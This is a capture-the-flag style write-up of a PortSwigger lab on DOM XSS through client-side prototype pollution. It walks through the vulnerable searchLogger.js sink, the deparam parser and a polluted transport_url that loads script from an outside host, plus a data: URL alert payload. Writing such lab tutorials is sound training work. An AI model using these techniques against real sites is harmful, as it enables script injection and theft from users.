PortSwigger - DOM XSS via client-side prototype pollution
This lab is vulnerable to DOM XSS via client-side prototype pollution. To solve the lab:
- Find a source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget property that allows you to execute arbitrary JavaScript.
- Combine these to call
alert()
.
When looking for Prototype pollution, we need find some logic that that:
- Parses user supplied JSON
- Constructs a JavaScript object in a way that prototype pollution can be introduced. This is usually through a merge function like so:
1
2
3
4
5
6
7
for(var attr in source) {
if(typeof(target[attr]) === "object" && typeof(source[attr]) === "object") {
merge(target[attr], source[attr]);
} else {
target[attr] = source[attr];
}
}
- The user controlled object needs to end up in an XSS sink.
Finding the Sink
I prefer to search for the sinks in the application and then work my way backwards to see if that source is controllable. When searching through the JavaScript code, the following code block stood out in the searchLogger.js
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);
From the code above, it is clear that if we can control the value of config.transport_url
then we will be able to get XSS.
Finding the Source
Now that we have the sink, lets work our way backwards to find where the config.transport_url
is coming from. The config
value is being set just above with the following code:
1
let config = {params: deparam(new URL(location).searchParams.toString())};
The config
object appears to have a key of params
which has a value from the result of the deparam()
function which takes the URLSearchParams
as a parameter.
1
2
3
4
location.href = "https://example.com/page?name=Josh&age=30"
new URL(location).searchParams.toString()
// returns: "name=Josh&age=30"
This is how the searchParams
function operates
The config
only has a params
key, and we need a transport_url
key in order to trigger the XSS.
Debugging
If the deparam()
function performs some merging operation then we may be able to pollute the config
object to have the following:
1
2
3
4
5
6
7
config = {
params: {
__proto__: {
transport_url: //shelled.xyz/xss.js
}
}
}
The deparam()
function is quite complex, but in summary it is:
- Taking the URL parameters (ex.
name=Josh&age=30
) - Replacing all
+
characters with a space. - Splitting on the
&
character (ex.[name=Josh, age=30]
) - Iterating over each element in (
[name=Josh, age=30]
) - Splitting at the
=
sign.[name, Josh]
- Has some checks for nested parameters
- I give up…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
var deparam = function( params, coerce ) {
var obj = {},
coerce_types = { 'true': !0, 'false': !1, 'null': null };
if (!params) {
return obj;
}
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( coerce ) {
val = val && !isNaN(val) && ((+val + '') === val) ? +val // number
: val === 'undefined' ? undefined // undefined
: coerce_types[val] !== undefined ? coerce_types[val] // true, false, null
: val; // string
}
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( {}.hasOwnProperty.call(obj, key) ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = coerce
? undefined
: '';
}
});
return obj;
};
deparam.js
file with the deparam
function
Following logic flows like this can be quite complex. This one is do able, but when hunting on a bug bounty target the code will most likely be a lot longer, minimized and potentially obfuscated.
With a general idea of what is happening, I’m going to use the chrome debugger to infer the rest. To do this I’m going to set a breakpoint on the source that we control.
Sending a request:
1
https://web-security-academy.net/?name=josh&age=30
Result - As you can see, the deparam()
function appears to be taking the URL search parameters and constructing a JSON object out of it.
Prototype Pollution
With no real idea if the deparam()
function will be vulnerable to Prototype Pollution or not, I’ll give it a shot, after all, requests are free.
We want the following structure:
1
2
3
4
5
6
7
config = {
params: {
__proto__: {
transport_url: //shelled.xyz/xss.js
}
}
}
The lab however will not make external requests to my sever, so the other solution is to either use Burp Collaborator if you have Burp Pro or you can use the payload data:text/javascript,alert(1)
.